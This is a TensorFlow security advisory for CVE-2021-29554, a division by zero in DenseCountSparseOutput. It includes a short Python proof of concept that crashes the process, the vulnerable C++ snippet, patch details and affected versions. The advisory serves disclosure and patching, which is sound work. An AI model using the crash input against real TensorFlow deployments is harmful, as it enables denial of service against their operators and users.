Division by 0 in `DenseCountSparseOutput`
Impact
An attacker can cause a denial of service via a FPE runtime error in tf.raw_ops.DenseCountSparseOutput:
```python
import tensorflow as tf
values = tf.constant([], shape=[0, 0], dtype=tf.int64)
weights = tf.constant([])
tf.raw_ops.DenseCountSparseOutput(
values=values, weights=weights,
minlength=-1, maxlength=58, binary_output=True)
`
This is because the [implementation](https://github.com/tensorflow/tensorflow/blob/efff014f3b2d8ef6141da30c806faf141297eca1/tensorflow/core/kernels/count_ops.cc#L123-L127) computes a divisor value from user data but does not check that the result is 0 before doing the division:
```cc
int num_batch_elements = 1;
for (int i = 0; i < num_batch_dimensions; ++i) {
num_batch_elements *= data.shape().dim_size(i);
}
int num_value_elements = data.shape().num_elements() / num_batch_elements;
`
Since data is given by the values argument, num_batch_elements is 0.
Patches
We have patched the issue in GitHub commit [da5ff2daf618591f64b2b62d9d9803951b945e9f](https://github.com/tensorflow/tensorflow/commit/da5ff2daf618591f64b2b62d9d9803951b945e9f).
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, and TensorFlow 2.3.3, as these are also affected.
For more information
Please consult [our security...
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| tensorflow PyPI | >= 2.3.0, < 2.3.3 | 2.3.3 |
| >= 2.4.0, < 2.4.2 | 2.4.2 |
Details and references
### Impact An attacker can cause a denial of service via a FPE runtime error in `tf.raw_ops.DenseCountSparseOutput`: ```python import tensorflow as tf values = tf.constant([], shape=[0, 0], dtype=tf.int64) weights = tf.constant([]) tf.raw_ops.DenseCountSparseOutput( values=values, weights=weights, minlength=-1, maxlength=58, binary_output=True) ``` This is because the [implementation](https://github.com/tensorflow/tensorflow/blob/efff014f3b2d8ef6141da30c806faf141297eca1/tensorflow/core/kernels/count_ops.cc#L123-L127) computes a divisor value from user data but does not check that the result is 0 before doing the division: ```cc int num_batch_elements = 1; for (int i = 0; i < num_batch_dimensions; ++i) { num_batch_elements *= data.shape().dim_size(i); } int num_value_elements = data.shape().num_elements() / num_batch_elements; ``` Since `data` is given by the `values` argument, `num_batch_elements` is 0. ### Patches We have patched the issue in GitHub commit [da5ff2daf618591f64b2b62d9d9803951b945e9f](https://github.com/tensorflow/tensorflow/commit/da5ff2daf618591f64b2b62d9d9803951b945e9f). The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, and TensorFlow 2.3.3, as these are also affected. ### For more information Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions. ### Attribution This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.
- CVSS 3.1
- CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L
- Severity from
- GitHub (reviewed advisory)
- Weakness
- CWE-369
- Also known as
- BIT-tensorflow-2021-29554, CVE-2021-29554, PYSEC-2021-191, PYSEC-2021-482, PYSEC-2021-680
- github.com/tensorflow/tensorflow/security/advisories/GHSA-qg48-85hg-mqc5
- nvd.nist.gov/vuln/detail/CVE-2021-29554
- github.com/tensorflow/tensorflow/commit/da5ff2daf618591f64b2b62d9d9803951b945e9f
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-482.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-680.yaml
- github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-191.yaml
- github.com/tensorflow/tensorflow